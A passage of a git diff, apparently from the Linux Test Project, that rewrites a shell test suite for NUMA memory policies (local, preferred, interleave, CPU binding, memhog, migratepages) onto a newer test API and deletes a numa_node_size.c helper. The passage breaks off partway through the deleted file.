+		fi
 
-    RC=$(awk '
-        { if ( NR == '$2' ){
-            print $'$3';
-            }
-        }
-        ' $LTPTMP/numalog)
-    return 0
+		retries=$((retries-1))
+		tst_sleep 50ms
+	done
+
+	if [ $retries -le 0 ]; then
+		tst_brk TBROK "Timeouted while waiting for support_numa ($pid)"
+	fi
 }
 
-
-
-# Function:     comparelog
-#
-# Description:  - return the difference of input arguments if they are in
-#                 increasing order.
-#
-# Input:        - $1 - original value.
-#               - $2 - changed value.
-#
-# Return:       - difference of arguments on success.
-comparelog()
+setup()
 {
+	export MB=$((1024*1024))
+	export PAGE_SIZE=$(getconf PAGE_SIZE)
 
-    if [ $2 -gt $1 ]
-    then
-        RC=$[$2-$1]
-    else
-        RC=0
-    fi
-    return 0
+	# arguments to memory exercise program support_numa.c
+	ALLOC_1MB=1
+	SHARE_1MB=2
+	PAUSE=3
+
+	total_nodes=0
+
+	nodes_list=$(numactl --show | grep nodebind | cut -d ':' -f 2)
+	for node in $nodes_list; do
+		total_nodes=$((total_nodes+1))
+	done
+
+	tst_res TINFO "The system contains $total_nodes nodes: $nodes_list"
+	if [ $total_nodes -le 1 ]; then
+		tst_brk TCONF "your machine does not support numa policy
+		or your machine is not a NUMA machine"
+	fi
 }
 
-
-
-# Function: init
-#
-# Description:  - Check if command required for this test exits.
-#               - Initialize global variables.
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-init()
+# Verification of memory allocated on a node
+test1()
 {
-    # Initialize global variables.
-    export RC=0
-    export TST_TOTAL=6
-    export TCID="Initnuma"
-    export TST_COUNT=0
+	Mem_curr=0
 
-    # Page Size
-    page_size=0
+	for node in $nodes_list; do
+		numactl --cpunodebind=$node --membind=$node support_numa $ALLOC_1MB &
+		pid=$!
 
-    # row definitions, pls see at the top of this file
-    numa_hit=2
-    numa_miss=3
-    numa_foreign=4
-    interleave_hit=5
-    local_node=6
-    other_node=7
+		wait_for_support_numa $pid
 
-    #arguments to memory exercise program support_numa.c
-    PRT_PG_SIZE=1
-    ALLOC_1MB=2
-    PAUSE=3
+		Mem_curr=$(echo "$(extract_numastat_p $pid $node) * $MB" |bc)
+		if [ $(echo "$Mem_curr < $MB" | bc) -eq 1 ]; then
+			tst_res TFAIL \
+				"NUMA memory allocated in node$node is less than expected"
+			return
+		fi
 
-    # Inititalize cleanup function.
-    trap "cleanup" 0
+		kill -CONT $pid >/dev/null 2>&1
+	done
 
-    # create the temporary directory used by this testcase
-    if [ -z $TMP ]
-    then
-        LTPTMP=/tmp/tst_numa.$$
-    else
-        LTPTMP=$TMP/tst_numa.$$
-    fi
-
-    mkdir -p $LTPTMP &>/dev/null || RC=$?
-    if [ $RC -ne 0 ]
-    then
-         tst_brkm TBROK NULL "INIT: Unable to create temporary directory"
-         return $RC
-    fi
-
-    # check if commands tst_*, numa*, awk exists.
-    chk_ifexists INIT tst_resm   || return $RC
-    chk_ifexists INIT numactl    || return $RC
-    chk_ifexists INIT numastat   || return $RC
-    chk_ifexists INIT awk        || return $RC
-    chk_ifexists INIT cat        || return $RC
-    chk_ifexists INIT kill       || return $RC
-
-    RC=0
-    #Set pagesize
-    support_numa $PRT_PG_SIZE > $LTPTMP/numaarg || RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_resm TFAIL "INIT: memory exerciser program support_numa exits abnormally"
-    fi
-    page_size=$(cat $LTPTMP/numaarg)
-
-    tst_resm TINFO "INIT: Numa tests will start now !!"
+	tst_res TPASS "NUMA local node and memory affinity"
 }
 
-
-
-# Function:     cleanup
-#
-# Description:  - remove temporaty files and directories.
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-cleanup()
+# Verification of memory allocated on preferred node
+test2()
 {
-    TCID=exitnuma
-    RC=0
+	Mem_curr=0
 
-    # remove all the temporary files created by this test.
-    tst_resm TINFO "CLEAN: removing $LTPTMP"
-    rm -fr $LTPTMP || RC=$?
-    return $RC
+	COUNTER=1
+	for node in $nodes_list; do
+
+		if [ $COUNTER -eq $total_nodes ]; then   #wrap up for last node
+			Preferred_node=$(echo $nodes_list | cut -d ' ' -f 1)
+		else
+			# always next node is preferred node
+			Preferred_node=$(echo $nodes_list | cut -d ' ' -f $((COUNTER+1)))
+		fi
+
+		numactl --cpunodebind=$node --preferred=$Preferred_node support_numa $ALLOC_1MB &
+		pid=$!
+
+		wait_for_support_numa $pid
+
+		Mem_curr=$(echo "$(extract_numastat_p $pid $Preferred_node) * $MB" |bc)
+		if [ $(echo "$Mem_curr < $MB" |bc ) -eq 1 ]; then
+			tst_res TFAIL \
+				"NUMA memory allocated in node$Preferred_node is less than expected"
+			return
+		fi
+
+		COUNTER=$((COUNTER+1))
+		kill -CONT $pid >/dev/null 2>&1
+	done
+
+	tst_res TPASS "NUMA preferred node policy"
 }
 
-
-
-# Function:     test01
-#
-# Description:  - Verification of local node and memory affinity
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-test01()
+# Verification of share memory allocated on preferred node
+test3()
 {
-    TCID=numa01
-    TST_COUNT=1
+	Mem_curr=0
+	COUNTER=1
 
-    RC=0                # Return value from commands.
-    Prev_value=0        # extracted from the numastat o/p
-    Curr_value=0	# Current value extracted from numastat o/p
-    Exp_incr=0          # 1 MB/ PAGESIZE
-    col=0
-    MB=$[1024*1024]
+	for node in $nodes_list; do
 
-    # Increase in numastat o/p is interms of pages
-    Exp_incr=$[$MB/$page_size]
+		if [ $COUNTER -eq $total_nodes ]   #wrap up for last node
+		then
+			Preferred_node=$(echo $nodes_list | cut -d ' ' -f 1)
+		else
+			# always next node is preferred node
+			Preferred_node=$(echo $nodes_list | cut -d ' ' -f $((COUNTER+1)))
+		fi
 
-    COUNTER=1
-    for node in `echo $nodes_list`; do
-        col=$[$COUNTER+1]		#Node number in numastat o/p
-        numastat > $LTPTMP/numalog
-        extract_numastat local_node $local_node $col || return 1
-        Prev_value=$RC
-        numactl --cpunodebind=$node --membind=$node support_numa $ALLOC_1MB
-        numastat > $LTPTMP/numalog
-        extract_numastat local_node $local_node $col || return 1
-        Curr_value=$RC
-        comparelog $Prev_value $Curr_value
-        if [ $RC -lt $Exp_incr ]
-        then
-             tst_resm TFAIL \
-                 "Test #1: NUMA hit and localnode increase in node$node is less than expected"
-            return 1
-        fi
-        COUNTER=$[$COUNTER+1]
-    done
-    tst_resm TPASS "NUMA local node and memory affinity -TEST01 PASSED !!"
-    return 0
+		numactl --cpunodebind=$node --preferred=$Preferred_node support_numa $SHARE_1MB &
+		pid=$!
+
+		wait_for_support_numa $pid
+
+		Mem_curr=$(echo "$(extract_numastat_p $pid $Preferred_node) * $MB" |bc)
+		if [ $(echo "$Mem_curr < $MB" |bc ) -eq 1 ]; then
+			tst_res TFAIL \
+				"NUMA share memory allocated in node$Preferred_node is less than expected"
+			return
+		fi
+
+		COUNTER=$((COUNTER+1))
+		kill -CONT $pid >/dev/null 2>&1
+	done
+
+	tst_res TPASS "NUMA share memory allocated in preferred node"
 }
 
-
-
-# Function:     test02
-#
-# Description:  - Verification of memory allocated from preferred node
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-test02()
+# Verification of memory interleaved on all nodes
+test4()
 {
-    TCID=numa02
-    TST_COUNT=2
+	Mem_curr=0
+	# Memory will be allocated using round robin on nodes.
+	Exp_incr=$(echo "$MB / $total_nodes" |bc)
 
-    RC=0                # Return value from commands.
-    Prev_value=0        # extracted from the numastat o/p
-    Curr_value=0        # Current value extracted from numastat o/p
-    Exp_incr=0          # 1 MB/ PAGESIZE
-    col=0
-    MB=$[1024*1024]
+	numactl --interleave=all support_numa $ALLOC_1MB &
+	pid=$!
 
-    # Increase in numastat o/p is interms of pages
-    Exp_incr=$[$MB/$page_size]
+	wait_for_support_numa $pid
 
-    COUNTER=1
-    for node in `echo $nodes_list`; do
+	for node in $nodes_list; do
+		Mem_curr=$(echo "$(extract_numastat_p $pid $node) * $MB" |bc)
 
-	if [ $total_nodes -eq 1 ]
-        then
-            tst_brkm TBROK NULL "Preferred policy cant be applied for a single node machine"
-	    return 1
+		if [ $(echo "$Mem_curr < $Exp_incr" |bc ) -eq 1 ]; then
+			tst_res TFAIL \
+				"NUMA interleave memory allocated in node$node is less than expected"
+			return
+		fi
+	done
+
+	kill -CONT $pid >/dev/null 2>&1
+	tst_res TPASS "NUMA interleave policy"
+}
+
+# Verification of shared memory interleaved on all nodes
+test5()
+{
+	Mem_curr=0
+	# Memory will be allocated using round robin on nodes.
+	Exp_incr=$(echo "$MB / $total_nodes" |bc)
+
+	numactl --interleave=all support_numa $SHARE_1MB &
+	pid=$!
+
+	wait_for_support_numa $pid
+
+	for node in $nodes_list; do
+		Mem_curr=$(echo "$(extract_numastat_p $pid $node) * $MB" |bc)
+
+		if [ $(echo "$Mem_curr < $Exp_incr" |bc ) -eq 1 ]; then
+			tst_res TFAIL \
+				"NUMA interleave share memory allocated in node$node is less than expected"
+			return
+		fi
+	done
+
+	kill -CONT $pid >/dev/null 2>&1
+
+	tst_res TPASS "NUMA interleave policy on shared memory"
+}
+
+# Verification of physical cpu bind
+test6()
+{
+	no_of_cpus=0	#no. of cpu's exist
+	run_on_cpu=0
+	running_on_cpu=0
+
+	no_of_cpus=$(tst_ncpus)
+	# not sure whether cpu's can't be in odd number
+	run_on_cpu=$(($((no_of_cpus+1))/2))
+	numactl --physcpubind=$run_on_cpu support_numa $PAUSE & #just waits for sigint
+	pid=$!
+	var=`awk '{ print $2 }' /proc/$pid/stat`
+	while [ $var = '(numactl)' ]; do
+		var=`awk '{ print $2 }' /proc/$pid/stat`
+		tst_sleep 100ms
+	done
+	# Warning !! 39 represents cpu number, on which process pid is currently running and
+	# this may change if Some more fields are added in the middle, may be in future
+	running_on_cpu=$(awk '{ print $39; }' /proc/$pid/stat)
+	if [ $running_on_cpu -ne $run_on_cpu ]; then
+		tst_res TFAIL \
+			"Process running on cpu$running_on_cpu but expected to run on cpu$run_on_cpu"
+		ROD kill -INT $pid
+		return
 	fi
 
-        if [ $COUNTER -eq $total_nodes ]   #wrap up for last node
- 	then
-	    Preferred_node=`echo $nodes_list | cut -d ' ' -f 1`
-	    col=2			#column represents node0 in numastat o/p
-	else
-	    # always next node is preferred node
-	    Preferred_node=`echo $nodes_list | cut -d ' ' -f $[COUNTER+1]`
-	    col=$[$COUNTER+2]              #Preferred Node number in numastat o/p
-	fi
+	ROD kill -INT $pid
 
-        numastat > $LTPTMP/numalog
-        extract_numastat other_node $other_node $col || return 1
-        Prev_value=$RC
-        numactl --cpunodebind=$node --preferred=$Preferred_node support_numa $ALLOC_1MB
-	sleep 2s	#In RHEL collection of statistics takes more time.
-        numastat > $LTPTMP/numalog
-        extract_numastat other_node $other_node $col || return 1
-        Curr_value=$RC
-        comparelog $Prev_value $Curr_value
-        if [ $RC -lt $Exp_incr ]
-        then
-             tst_resm TFAIL \
-                 "Test #2: NUMA hit and othernode increase in node$node is less than expected"
-            return 1
-        fi
-        COUNTER=$[$COUNTER+1]
-    done
-    tst_resm TPASS "NUMA preferred node policy -TEST02 PASSED !!"
-    return 0
+	tst_res TPASS "NUMA phycpubind policy"
 }
 
-
-# Function:     test03
-#
-# Description:  - Verification of memory interleaved on all nodes
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-test03()
+# Verification of local node allocation
+test7()
 {
-    TCID=numa03
-    TST_COUNT=3
+	Mem_curr=0
 
-    RC=0                # Return value from commands.
-    Prev_value=0        # extracted from the numastat o/p
-    declare -a parray   # array contains previous value of all nodes
-    Curr_value=0        # Current value extracted from numastat o/p
-    Exp_incr=0          # 1 MB/ (PAGESIZE*num_of_nodes)
-    col=0
-    MB=$[1024*1024]
+	for node in $nodes_list; do
+		numactl --cpunodebind=$node --localalloc support_numa $ALLOC_1MB &
+		pid=$!
 
-    # Increase in numastat o/p is interms of pages
-    Exp_incr=$[$MB/$page_size]
-    # Pages will be allocated using round robin on nodes.
-    Exp_incr=$[$Exp_incr/$total_nodes]
+		wait_for_support_numa $pid
 
-    # Check whether the pages are equally distributed among available nodes
-    numastat > $LTPTMP/numalog
-    COUNTER=1
-    for node in `echo $nodes_list`; do
-        col=$[$COUNTER+1]              #Node number in numastat o/p
-        extract_numastat interleave_hit $interleave_hit $col || return 1
-        Prev_value=$RC
-        parray[$COUNTER]=$Prev_value
-        COUNTER=$[$COUNTER+1]
-    done
+		Mem_curr=$(echo "$(extract_numastat_p $pid $node) * $MB" |bc)
+		if [ $(echo "$Mem_curr < $MB" |bc ) -eq 1 ]; then
+			tst_res TFAIL \
+				"NUMA localnode memory allocated in node$node is less than expected"
+			return
+		fi
 
-    numactl --interleave=all support_numa $ALLOC_1MB
-    sleep 2s        #In RHEL collection of statistics takes more time.
+		kill -CONT $pid >/dev/null 2>&1
+	done
 
-    numastat > $LTPTMP/numalog
-    COUNTER=1
-    for node in `echo $nodes_list`; do
-        col=$[$COUNTER+1]              #Node number in numastat o/p
-        extract_numastat interleave_hit $interleave_hit $col || return 1
-        Curr_value=$RC
-        comparelog ${parray[$COUNTER]} $Curr_value
-        if [ $RC -lt $Exp_incr ]
-        then
-             tst_resm TFAIL \
-                 "Test #3: NUMA interleave hit in node$node is less than expected"
-            return 1
-        fi
-        COUNTER=$[$COUNTER+1]
-    done
-    tst_resm TPASS "NUMA interleave policy -TEST03 PASSED !!"
-    return 0
+	tst_res TPASS "NUMA local node allocation"
 }
 
-
-
-# Function:     test04
-#
-# Description:  - Verification of physical cpu bind
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-test04()
+# Verification of memhog with interleave policy
+test8()
 {
+	Mem_curr=0
+	# Memory will be allocated using round robin on nodes.
+	Exp_incr=$(echo "$MB / $total_nodes" |bc)
 
-    TCID=numa04
-    TST_COUNT=4
+	numactl --interleave=all memhog -r1000000 1MB 2>&1 >/dev/null &
+	pid=$!
 
-    no_of_cpus=0	#no. of cpu's exist
-    run_on_cpu=0
-    running_on_cpu=0
+	for node in $nodes_list; do
+		Mem_curr=$(echo "$(extract_numastat_p $pid $node) * $MB" |bc)
 
-    no_of_cpus=$(tst_ncpus)
-    # not sure whether cpu's can't be in odd number
-    run_on_cpu=$[$[$no_of_cpus+1]/2]
-    numactl --physcpubind=$run_on_cpu support_numa $PAUSE & #just waits for sigint
-    pid=$!
-    var=`awk '{ print $2 }' /proc/$pid/stat`
-    while [ $var = '(numactl)' ]; do
-        var=`awk '{ print $2 }' /proc/$pid/stat`
-    done
-    # Warning !! 39 represents cpu number, on which process pid is currently running and
-    # this may change if Some more fields are added in the middle, may be in future
-    running_on_cpu=$(awk '{ print $39; }' /proc/$pid/stat)
-    if [ $running_on_cpu -ne $run_on_cpu ]
-    then
-	 tst_resm TFAIL \
-	     "Test #4: Process running on cpu$running_on_cpu but expected to run on cpu$run_on_cpu"
-	 return 1
-    fi
-    RC=0
-    kill -INT $pid || RC=$?
-    if [ $RC -ne 0 ]
-    then
-        tst_brkm TBROK NULL "Kill on process $pid fails"
-    fi
-    tst_resm TPASS "NUMA phycpubind policy -TEST04 PASSED !!"
-    return 0
-}
+		if [ $(echo "$Mem_curr < $Exp_incr" |bc ) -eq 1 ]; then
+			tst_res TFAIL \
+				"NUMA interleave memhog in node$node is less than expected"
+			return
+		fi
+	done
 
-
-
-# Function:     test05
-#
-# Description:  - Verification of local node allocation
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-test05()
-{
-    TCID=numa05
-    TST_COUNT=5
-
-    RC=0                # Return value from commands.
-    Prev_value=0        # extracted from the numastat o/p
-    Curr_value=0        # Current value extracted from numastat o/p
-    Exp_incr=0          # 1 MB/ PAGESIZE
-    col=0
-    MB=$[1024*1024]
-
-    # Increase in numastat o/p is interms of pages
-    Exp_incr=$[$MB/$page_size]
-
-    COUNTER=1
-    for node in `echo $nodes_list`; do
-        col=$[$COUNTER+1]               #Node number in numastat o/p
-        numastat > $LTPTMP/numalog
-        extract_numastat local_node $local_node $col || return 1
-        Prev_value=$RC
-        numactl --cpunodebind=$node --localalloc support_numa $ALLOC_1MB
-        numastat > $LTPTMP/numalog
-        extract_numastat local_node $local_node $col || return 1
-        Curr_value=$RC
-        comparelog $Prev_value $Curr_value
-        if [ $RC -lt $Exp_incr ]
-        then
-             tst_resm TFAIL \
-                 "Test #5: NUMA hit and localnode increase in node$node is less than expected"
-            return 1
-        fi
-        COUNTER=$[$COUNTER+1]
-    done
-    tst_resm TPASS "NUMA local node allocation -TEST05 PASSED !!"
-    return 0
-}
-
-
-
-# Function:     test06
-#
-# Description:  - Verification of shared memory interleaved on all nodes
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-test06()
-{
-    TCID=numa06
-    TST_COUNT=6
-
-    RC=0                # Return value from commands.
-    Prev_value=0        # extracted from the numastat o/p
-    declare -a parray   # array contains previous value of all nodes
-    Curr_value=0        # Current value extracted from numastat o/p
-    Exp_incr=0          # 1 MB/ (PAGESIZE*num_of_nodes)
-    col=0
-    MB=$[1024*1024]
-
-    # Increase in numastat o/p is interms of pages
-    Exp_incr=$[$MB/$page_size]
-    # Pages will be allocated using round robin on nodes.
-    Exp_incr=$[$Exp_incr/$total_nodes]
-
-    # Check whether the pages are equally distributed among available nodes
-    numastat > $LTPTMP/numalog
-    COUNTER=1
-    for node in `echo $nodes_list`; do
-        col=$[$COUNTER+1]              #Node number in numastat o/p
-        extract_numastat numa_hit $numa_hit $col || return 1
-        Prev_value=$RC
-        parray[$COUNTER]=$Prev_value
-        COUNTER=$[$COUNTER+1]
-    done
-
-    numactl --length=1M --file /dev/shm/numa_shm --interleave=all --touch
-    sleep 2s        #In RHEL collection of statistics takes more time.
-
-    numastat > $LTPTMP/numalog
-    COUNTER=1
-    for node in `echo $nodes_list`; do
-        col=$[$COUNTER+1]              #Node number in numastat o/p
-        extract_numastat numa_hit $numa_hit $col || return 1
-        Curr_value=$RC
-        comparelog ${parray[$COUNTER]} $Curr_value
-        if [ $RC -lt $Exp_incr ]
-        then
-             tst_resm TFAIL \
-                 "Test #6: NUMA numa_hit for shm file numa_shm in node$node is less than expected"
-            return 1
-        fi
-        COUNTER=$[$COUNTER+1]
-    done
-    tst_resm TPASS "NUMA interleave policy on shared memory -TEST06 PASSED !!"
-    RC=0
-    rm -r /dev/shm/numa_shm || RC=$?
-    if [ $RC -ne 0 ]
-    then
-	tst_resm TINFO "Test #6: Failed removing shared memory file numa_shm"
-        return 1
-    fi
-    return 0
-}
-
-# Function:     test07
-#
-# Description:  - Verification of numademo
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-test07()
-{
-    TCID=numa07
-    TST_COUNT=7
-
-    RC=0                # Return value from commands.
-    Prev_value=0        # extracted from the numastat o/p
-    declare -a parray   # array contains previous value of all nodes
-    Curr_value=0        # Current value extracted from numastat o/p
-    Exp_incr=0          # 1 MB/ (PAGESIZE*num_of_nodes)
-    col=0
-    msize=1000
-    KB=1024
-    # Increase in numastat o/p is interms of pages
-     Exp_incr=$[($KB * $msize)/$page_size]
-    # Pages will be allocated using round robin on nodes.
-    Exp_incr=$[$Exp_incr/$total_nodes]
-
-    # Check whether the pages are equally distributed among available nodes
-    numastat > $LTPTMP/numalog
-    COUNTER=1
-    for node in `echo $nodes_list`; do
-        col=$[$COUNTER+1]              #Node number in numastat o/p
-        extract_numastat interleave_hit $interleave_hit $col || return 1
-        Prev_value=$RC
-        parray[$COUNTER]=$Prev_value
-        COUNTER=$[$COUNTER+1]
-    done
-
-    numademo -c ${msize}k > $LTPTMP/demolog
-    sleep 2s        #In RHEL collection of statistics takes more time.
-
-    numastat > $LTPTMP/numalog
-    COUNTER=1
-    x=0
-    for node in `echo $nodes_list`; do
-        col=$[$COUNTER+1]              #Node number in numastat o/p
-        extract_numastat interleave_hit $interleave_hit $col || return 1
-        Curr_value=$RC
-         comparelog ${parray[$COUNTER]} $Curr_value
-        counter=$[$counter+1]
-        if [ $RC -le $Exp_incr ]
-        then
-            x=1
-            break;
-        fi
-        COUNTER=$[$COUNTER+1]
-    done
-    if [ $x -eq 0 ]
-    then
-        tst_resm TPASS "NUMADEMO policies  -TEST07 PASSED !!"
-        return 0
-    else
-        tst_resm TFAIL "Test #7: NUMA interleave hit is less than expected"
-    return 1
-    fi
-}
-
-# Function:     test08
-#
-# Description:  - Verification of memhog with interleave policy
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-test08()
-{
-    TCID=numa08
-    TST_COUNT=8
-
-    RC=0                # Return value from commands.
-    Prev_value=0        # extracted from the numastat o/p
-    declare -a parray   # array contains previous value of all nodes
-    Curr_value=0        # Current value extracted from numastat o/p
-    Exp_incr=0          # 1 MB/ (PAGESIZE*num_of_nodes)
-    col=0
-    MB=$[1024*1024]
-
-    # Increase in numastat o/p is interms of pages
-    Exp_incr=$[$MB/$page_size]
-    # Pages will be allocated using round robin on nodes.
-    Exp_incr=$[$Exp_incr/$total_nodes]
-
-    # Check whether the pages are equally distributed among available nodes
-    numastat > $LTPTMP/numalog
-    COUNTER=1
-    for node in `echo $nodes_list`; do
-        col=$[$COUNTER+1]              #Node number in numastat o/p
-        extract_numastat interleave_hit $interleave_hit $col || return 1
-        Prev_value=$RC
-        parray[$COUNTER]=$Prev_value
-        COUNTER=$[$COUNTER+1]
-    done
-    numactl --interleave=all memhog 1MB
-    sleep 2s        #In RHEL collection of statistics takes more time.
-
-    numastat > $LTPTMP/numalog
-    COUNTER=1
-    for node in `echo $nodes_list`; do
-        col=$[$COUNTER+1]              #Node number in numastat o/p
-        extract_numastat interleave_hit $interleave_hit $col || return 1
-        Curr_value=$RC
-        comparelog ${parray[$COUNTER]} $Curr_value
-        if [ $RC -lt $Exp_incr ]
-        then
-             tst_resm TFAIL \
-                 "Test #8: NUMA interleave hit in node$node is less than expected"
-            return 1
-        fi
-        COUNTER=$[$COUNTER+1]
-    done
-    tst_resm TPASS "NUMA MEMHOG policy -TEST08 PASSED !!"
-    return 0
+	kill -9 $pid >/dev/null 2>&1
+	tst_res TPASS "NUMA MEMHOG policy"
 }
 
 # Function:     hardware cheking with numa_node_size api
@@ -678,150 +345,58 @@
 #                 0:  10  20
 #                 1:  20  10
 #
-# Return:       - zero on success.
-#               - non-zero on failure.
-#
-test09()
+test9()
 {
-    TCID=numa09
-    TST_COUNT=9
+	RC=0
 
-    RC=0                # Return value from commands.
-    Prev_value=0        # extracted from the numastat o/p
-    Curr_value=0        # Current value extracted from numastat o/p
-    Exp_incr=0          # 1 MB/ PAGESIZE
-    col=0
-    MB=$[1024*1024]
-    # Increase in numastat o/p is interms of pages
-    Exp_incr=$[$MB/$page_size]
-
-    numactl --hardware > $LTPTMP/avail_nodes
-    RC=$(awk '{ if ( NR == 1 ) {print $1;} }' $LTPTMP/avail_nodes)
-    if [ $RC = "available:" ]
-    then
-
-        RC=$(awk '{ if ( NR == 1 ) {print $3;} }' $LTPTMP/avail_nodes)
-        if [ $RC = "nodes" ]
-        then
-           RC=$(awk '{ if ( NR == 1 ) {print $2;} }' $LTPTMP/avail_nodes)
-
-        tst_resm TPASS "NUMA policy on lib NUMA_NODE_SIZE API -TEST09 PASSED !!"
-        else
-                tst_resm TINFO "Test #9: Failed with numa policy"
-        fi
-    else
-        tst_resm TINFO "Test #9: Failed with numa policy"
-    fi
-}
-# Function:     test10
-#
-# Description:  - Verification of migratepages
-#
-# Return:       - zero on success.
-#               - non-zero on failure.
-test010()
-{
-    TCID=numa10
-    TST_COUNT=10
-    RC=0
-    Prev_value=0
-    Curr_value=0
-
-    COUNTER=1
-    for node in `echo $nodes_list`; do
-
-        if [ $total_nodes -eq 1 ]
-        then
-            tst_brkm TBROK NULL "Preferred policy cant be applied for a single node machine"
-            return 1
-        fi
-
-        if [ $COUNTER -eq $total_nodes ]; then
-            Preferred_node=`echo $nodes_list | cut -d ' ' -f 1`
-            col=2
-        else
-            Preferred_node=`echo $nodes_list | cut -d ' ' -f $[$COUNTER+1]`
-            col=$[$COUNTER+2]
-        fi
-
-        numastat > $LTPTMP/numalog
-        extract_numastat other_node $other_node $col || return 1
-        Prev_value=$RC
-        numactl --preferred=$node support_numa $PAUSE &
-        pid=$!
-        migratepages $pid $node $Preferred_node
-        numastat > $LTPTMP/numalog
-        extract_numastat other_node $other_node $col || return 1
-        Curr_value=$RC
-        kill -INT $pid
-        if [ $RC -lt $Prev_value ]; then
-             tst_resm TFAIL \
-                 "Test #10: NUMA migratepages is not working fine"
-            return 1
-        fi
-        COUNTER=$[$COUNTER+1]
-    done
-    tst_resm TPASS "NUMA MIGRATEPAGES policy -TEST10 PASSED !!"
-    return 0
+	numactl --hardware > gavail_nodes
+	RC=$(awk '{ if ( NR == 1 ) {print $1;} }' gavail_nodes)
+	if [ $RC = "available:" ]; then
+		RC=$(awk '{ if ( NR == 1 ) {print $3;} }' gavail_nodes)
+		if [ $RC = "nodes" ]; then
+			RC=$(awk '{ if ( NR == 1 ) {print $2;} }' gavail_nodes)
+			tst_res TPASS "NUMA policy on lib NUMA_NODE_SIZE API"
+		else
+			tst_res TFAIL "Failed with numa policy"
+		fi
+	else
+		tst_res TFAIL "Failed with numa policy"
+	fi
 }
 
-# Function:    main
-#
-# Description: - Execute all tests and report results.
-#
-# Exit:        - zero on success
-#              - non-zero on failure.
-    #WARNING!! Never use duplicate variables here...
-    TCID=numa
-    no_of_test=10	#total no. of testcases
-    no_of_test_failed=0	#total no. of testcases failed
-    numa_ret=0		#return value of main script
+# Verification of migratepages
+test10()
+{
+	Mem_curr=0
+	COUNTER=1
 
-    init_ret=0
-    init || init_ret=$?
-    if [ $init_ret -ne 0 ]
-    then
-        tst_resm TFAIL "INIT NUMA FAILED !!"
-        exit $RC
-    fi
+	for node in $nodes_list; do
 
-    total_nodes=0       # total no. of numa nodes
-    # all availiable nodes id list
-    nodes_list=`numactl --show | grep nodebind | cut -d ':' -f 2`
-    for node in `echo $nodes_list`; do
-        total_nodes=$[$total_nodes+1]
-    done
-    tst_resm TINFO "The system contains $total_nodes nodes: $nodes_list"
-    if [ $total_nodes -le 1 ]; then
-        tst_resm TCONF "your machine does not support numa policy or
-                        your machine is not a NUMA machine"
-        exit 0
-    fi
+		if [ $COUNTER -eq $total_nodes ]; then
+			Preferred_node=$(echo $nodes_list | cut -d ' ' -f 1)
+		else
+			Preferred_node=$(echo $nodes_list | cut -d ' ' -f $((COUNTER+1)))
+		fi
 
-    # call each testcases sequentially
-    COUNT=1
-    while [  $COUNT -le $no_of_test ]; do
-	call_test=$(echo test0$COUNT)
-        func_ret=0
-	$call_test || func_ret=$?
-        if [ $func_ret -ne 0 ]
-        then
-            no_of_test_failed=$[$no_of_test_failed+1]
-        fi
-        COUNT=$[$COUNT+1]
-    done
+		numactl --preferred=$node support_numa $ALLOC_1MB &
+		pid=$!
 
-    TCID=numa
-    TST_COUNT=0
+		wait_for_support_numa $pid
 
-    if [ $no_of_test_failed -ne 0 ]
-    then
-        numa_ret=1	#set return value to non-zero if any one of the testcas got failed
-        tst_resm TINFO "A total of $no_of_test_failed numa testcases FAILED !!"
-    else
-        numa_ret=0
-        tst_resm TINFO "All numa testcases PASSED !!"
-    fi
+		migratepages $pid $node $Preferred_node
 
-exit $numa_ret
+		Mem_curr=$(echo "$(extract_numastat_p $pid $Preferred_node) * $MB" |bc)
+		if [ $(echo "$Mem_curr < $MB" |bc ) -eq 1 ]; then
+			tst_res TFAIL \
+				"NUMA migratepages is not working fine"
+			return
+		fi
 
+		COUNTER=$((COUNTER+1))
+		kill -CONT $pid >/dev/null 2>&1
+	done
+
+	tst_res TPASS "NUMA MIGRATEPAGES policy"
+}
+
+tst_run
diff --git a/testcases/kernel/numa/numa_node_size.c b/testcases/kernel/numa/numa_node_size.c
deleted file mode 100644
index 6338bc7..0000000
--- a/testcases/kernel/numa/numa_node_size.c
+++ /dev/null
@@ -1,88 +0,0 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) International Business Machines  Corp., 2007                 */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-
-/******************************************************************************/
-/*                                                                            */
-/* File:        numa_node_size.c                                              */
-/*                                                                            */
-/* Description: Invokes numa_node_size() API                                  */
-/*                                                                            */
-/* Author:     Pradeep Kumar Surisetty pradeepkumars@in.ibm.com               */
-/*                                                                            */
-/* History:     Created - Nov 28 2007 - Pradeep Kumar Surisetty               */
-/*                                                 pradeepkumars@in.ibm.com   */
-/*                                                                            */
-/******************************************************************************/
-
-#include "config.h"
-#include <stdio.h>
-#include <stdlib.h>
-#if HAVE_NUMA_H
-#include <numa.h>
-#endif
-
-int numa_exit_on_error = 0;
-char *fmt_mem(unsigned long long mem, char *buf)
-{
-	if (mem == -1L)
-		sprintf(buf, "<not available>");
-	else
-		sprintf(buf, "%Lu MB", mem >> 20);
-	return buf;
-}
-
-void hardware(void)
-{
-#if HAVE_NUMA_H
-	int i;
-	int maxnode = numa_max_node();
-	printf("available: %d nodes (0-%d)\n", 1 + maxnode, maxnode);
-	for (i = 0; i <= maxnode; i++) {
-		char buf[64];
-		long fr;
-		unsigned long sz = numa_node_size(i, &fr);
-		printf("node %d cpus:", i);
-		printf("node %d size: %s\n", i, fmt_mem(sz, buf));
